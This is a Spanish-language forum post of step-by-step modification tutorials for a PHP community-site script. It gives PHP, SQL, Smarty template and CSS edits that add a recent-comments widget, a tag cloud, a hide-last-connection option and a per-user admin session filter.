.user-act5{width:100px;margin-left:73px;margin-top:-15px;color:#00CCFF;font-weight:bold;text-align:center;}
.user-act6{width:100px;margin-left:73px;margin-top:-15px;color:#FF6600;font-weight:bold;text-align:center;}
.user-act7{width:100px;margin-left:73px;margin-top:-15px;color:#6600FF;font-weight:bold;text-align:center;}
.user-act8{width:100px;margin-left:73px;margin-top:-15px;color:#6699CC;font-weight:bold;text-align:center;}
.user-act9{width:100px;margin-left:73px;margin-top:-15px;color:#AE3E76;font-weight:bold;text-align:center;}
.user-act10{width:100px;margin-left:73px;margin-top:-15px;color:#FF3366;font-weight:bold;text-align:center;}
.user-act11{width:100px;margin-left:73px;margin-top:-15px;color:#CC0000;font-weight:bold;text-align:center;}
.user-act12{width:100px;margin-left:73px;margin-top:-15px;color:#0000FF;font-weight:bold;text-align:center;}
Y subir esta carpeta
Mega
http://Registrate o inicia tu sesión par... contenido
Google Drive
http://Registrate o inicia tu sesión par... contenido
Mediafire
http://Registrate o inicia tu sesión par... contenido
Creditos: Vellenger
[img]Registrate o inicia tu sesión para ver este contenido[/img]
En c.cuenta.php --> inc --> class --> c.cuenta.php
Buscar:
Código PHP:
// MEDALLAS
$query = db_exec(array(__FILE__, __LINE__), 'query', 'SELECT m.*, a.* FROM w_medallas AS m LEFT JOIN w_medallas_assign AS a ON a.medal_id = m.medal_id WHERE a.medal_for = \''.(int)$user_id.'\' AND m.m_type = \'1\' ORDER BY a.medal_date DESC LIMIT 21');
$data['medallas'] = result_array($query);
$data['m_total'] = count($data['medallas']);
Debajo agregar:
Código PHP:
// ULTIMOS COMENTARIOS
$query = db_exec(array(__FILE__, __LINE__), 'query', 'SELECT cm.cid, cm.c_date, p.post_id, p.post_title, c.c_seo FROM p_comentarios AS cm LEFT JOIN p_posts AS p ON p.post_id = cm.c_post_id LEFT JOIN p_categorias AS c ON c.cid = p.post_category WHERE c_user = \''.(int)$user_id.'\' AND p.post_status = \'0\' AND cm.c_status = \'0\' ORDER BY cid DESC LIMIT 10');
$data['com'] = result_array($query);
En m.perfil_sidebar.tpl --> themes --> default --> templates --> modules --> m.perfil_sidebar.tpl
Buscar:
Código PHP:
<div style="margin-bottom: 10px">
{$tsConfig.ads_300}
</div>
Debajo agregar:
Código PHP:
<div class="widget w-medallas clearfix">
<div class="title-w clearfix">
<h3>Últimos comentarios</h3>
<span>{$tsInfo.stats.user_comentarios}</span>
</div>
{if $tsInfo.stats.user_comentarios > 0}
<ul class="clearfix">
{foreach from=$tsGeneral.com item=c key=i}
<li>
<strong style="color: #36F;">{if $i <= 8}0{/if}{$i+1}. </strong>
<a style="" href="{$tsConfig.url}/posts/{$c.c_seo}/{$c.post_id}/{$c.post_title|seo}.html#pp_{$c.cid}" class="qtip size13" title="{$c.c_date|hace}">{$c.post_title|truncate:45}</a>
</li>
{/foreach}
</ul>
{else}
<div class="emptyData">No ha hecho comentarios.</div>
{/if}
</div>
Creditos: Kmario19
[img]Registrate o inicia tu sesión para ver este contenido[/img]
En t.home.tpl --> themes --> default --> templates --> t.home.tpl
Buscar:
Código PHP:
{include file='modules/m.home_afiliados.tpl'}
Debajo agregar:
Código PHP:
{include file='modules/m.home_tags.tpl'}
En estilo.css --> themes --> default --> estilo.css
Al final agregar:
Código PHP:
.tags_cloud{line-height:200%;text-align:justify}
.box_cuerpo .tags_cloud_2{line-height:300%;text-align:justify}
.tag-size1{font-size:190%;line-height:27px;font-weight:700}
.tag-size2{font-size:170%;line-height:22px;opacity:.8}
.tag-size3{font-size:130%;line-height:19px;opacity:.7}
.tag-size4{font-size:90%;opacity:.6}
.tag-size5{font-size:58%;opacity:.4}
.tag-size1:hover,.tag-size2:hover,.tag-size3:hover,.tag-size4:hover,.tag-size5:hover{opacity:1}
.tag-size1,.tag-size2,.tag-size3,.tag-size4,.tag-size5{text-shadow:0 1px 0 #ccc,0 2px 0 #c9c9c9,0 3px 0 #bbb,0 4px 0 #b9b9b9,0 5px 0 #aaa,0 6px 1px rgba(0,0,0,.1),0 0 5px rgba(0,0,0,.1),0 1px 3px rgba(0,0,0,.3),0 3px 5px rgba(0,0,0,.2),0 5px 10px rgba(0,0,0,.25),0 10px 10px rgba(0,0,0,.2),0 20px 20px rgba(0,0,0,.15)}
Y subir esta carpeta
Mega
http://Registrate o inicia tu sesión par... contenido
Google Drive
http://Registrate o inicia tu sesión par... contenido
Mediafire
http://Registrate o inicia tu sesión par... contenido
Creditos: tutan-kabron y Descargamos
[img]Registrate o inicia tu sesión para ver este contenido[/img]
[img]Registrate o inicia tu sesión para ver este contenido[/img]
¿Que tiene?
- Mostrar/ocultar conexion configurable desde el perfil.
- Los admins pueden ver la ultima conexion desde la admin.
- Administrable por rango.
Ejecutar esta consulta
Código PHP:
ALTER TABLE `u_perfil` ADD `user_conexion` INT( 1 ) NOT NULL DEFAULT '1';
En c.admin.php --> inc --> class --> c.admin.php
Buscar:
Código PHP:
'gopfd' => $_POST['global-pointsforday']);
Arriba agregar:
Código PHP:
'gocon' => $_POST['global-conexion'],
Buscar:
Código PHP:
'gopfd' => $_POST['global-pointsforday']);
Arriba agregar:
Código PHP:
'gocon' => $_POST['global-conexion'],
En c.cuenta.php --> inc --> class --> c.cuenta.php
Buscar:
Código PHP:
'sexo' => ($_POST['sexo'] == 'f') ? 0 : 1,
Arriba agregar:
Código PHP:
'conexion' => (int)($_POST['conexion'] ? 1 : 0),
En m.admin_rangos.tpl --> themes --> default --> templates --> admin_mods --> m.admin_rangos.tpl
Buscar:
Código PHP:
<legend>Global</legend>
<input type="checkbox" id="godp" name="global-darpuntos" {if $tsRango.permisos.godp}checked{/if} /><label style="font-weight:bold;" for="godp">Puntuar Posts</label><label for="godp"> Podrán puntuar posts.</label>
<br /><hr>
Debajo agregar:
Código PHP:
<input type="checkbox" id="gocon" name="global-conexion" {if $tsRango.permisos.gocon}checked{/if} /><label style="font-weight:bold;" for="goved">Ocultar última conexión</label><label for="gocon"> Podrán ocultar la última conexión a otros usuarios.</label>
<br /><hr>
En m.cuenta_cuenta.tpl --> themes --> default --> templates --> modules --> m.cuenta_cuenta.tpl
Buscar:
Código PHP:
<div class="field">
<label>Sexo</label>
<ul class="fields">
<li>
<label><input type="radio" value="m" name="sexo" class="radio cuenta-save-1" {if $tsPerfil.user_sexo == '1'}checked="checked"{/if}/>Masculino</label>
</li>
<li>
<label><input type="radio" value="f" name="sexo" class="radio cuenta-save-1" {if $tsPerfil.user_sexo == '0'}checked="checked"{/if}/>Femenino</label>
</li>
</ul>
</div>
Debajo agregar:
Código PHP:
{if $tsUser->permisos.suad || $tsUser->permisos.sumo || $tsUser->permisos.gocon || $tsUser->uid ==1}
<div class="field">
<label>Mostrar última conexión:</label>
<ul class="fields">
<li>
<label><input type="radio" value="1" name="conexion" class="radio cuenta-save-1" {if $tsPerfil.user_conexion == '1'}checked="checked"{/if}/>Si</label>
</li>
<li>
<label><input type="radio" value="0" name="conexion" class="radio cuenta-save-1" {if $tsPerfil.user_conexion == '0'}checked="checked"{/if}/>No</label>
</li>
</ul>
</div>
{/if}
En p.perfil.info.tpl --> themes --> default --> templates --> t.php_files --> p.perfil.info.tpl
Buscar:
Código PHP:
<li><label>Última vez activo</label><strong>{$tsPerfil.user_lastactive|fecha}</strong></li>
Reemplazar por:
Código PHP:
<li><label>Última vez activo</label><strong> {if $tsPerfil.user_conexion}{$tsPerfil.user_lastactive|fecha}{else}Privado{/if}</strong></li>
Creditos: aperpen
[img]Registrate o inicia tu sesión para ver este contenido[/img]
En c.admin.php --> inc --> class --> c.admin.php
Buscar:
Código PHP:
function getSessions()
{
global $tsCore;
//
$max = 20; // MAXIMO A MOSTRAR
$limit = $tsCore->setPageLimit($max, true);
//
$query = db_exec(array(__FILE__, __LINE__), 'query', 'SELECT u.user_id, u.user_name, s.* FROM u_sessions AS s LEFT JOIN u_miembros AS u ON s.session_user_id = u.user_id ORDER BY s.session_time DESC LIMIT ' .
$limit);
//
$data['data'] = result_array($query);
// PAGINAS
$query = db_exec(array(__FILE__, __LINE__), 'query', 'SELECT COUNT(*) FROM u_sessions');
list($total) = db_exec('fetch_row', $query);
$data['pages'] = $tsCore->pageIndex($tsCore->settings['url'] .
"/admin/sesiones?", $_GET['s'], $total, $max);
//
return $data;
}
Reemplazar por:
Código PHP:
function getSessions()
{
global $tsCore;
//
$max = 20; // MAXIMO A MOSTRAR
$limit = $tsCore->setPageLimit($max, true);
//
$user = !empty($_GET['user']) ? (int)$_GET['user'] : 0;
if($_GET['user'] == 'v')
$user = 'v';
if(!empty($user)){
if($user == 'v')
$user = 0;
$where = 'WHERE s.session_user_id = \''.$user.'\'';
}
//
$query = db_exec(array(__FILE__, __LINE__), 'query', 'SELECT u.user_id, u.user_name, s.* FROM u_sessions AS s LEFT JOIN u_miembros AS u ON s.session_user_id = u.user_id '.$where.' ORDER BY s.session_time DESC LIMIT ' .
$limit);
//
$data['data'] = result_array($query);
// PAGINAS
$query = db_exec(array(__FILE__, __LINE__), 'query', 'SELECT COUNT(*) FROM u_sessions');
list($total) = db_exec('fetch_row', $query);
$data['pages'] = $tsCore->pageIndex($tsCore->settings['url'] .
"/admin/sesiones?", $_GET['s'], $total, $max);
//
return $data;
}
En m.admin_sesiones.tpl --> themes --> default --> templates --> admin_mods --> m.admin_sesiones.tpl
Buscar:
Código PHP:
<a href="#" onclick="admin.sesiones.borrar('{$s.session_id}'); return false"><img src="{$tsConfig.url}/themes/default/images/icons/power_off.png" title="Cerrar sesión de {if $s.user_name}{$s.user_name}{else}este visitante{/if}"/></a>
Arriba agregar:
Código PHP:
{if $s.user_id > 0 && !$smarty.get.user}
<a href="{$tsConfig.url}/admin/sesiones/?user={$s.user_id}"><img src="{$tsConfig.url}/themes/default/images/icons/details.png" title="Detalles"/></a>
{elseif !$smarty.get.user && $s.user_id == 0}
<a href="{$tsConfig.url}/admin/sesiones/?user=v"><img src="{$tsConfig.url}/themes/default/images/icons/details.png" title="Detalles"/></a>
{/if}
Creditos: aperpen

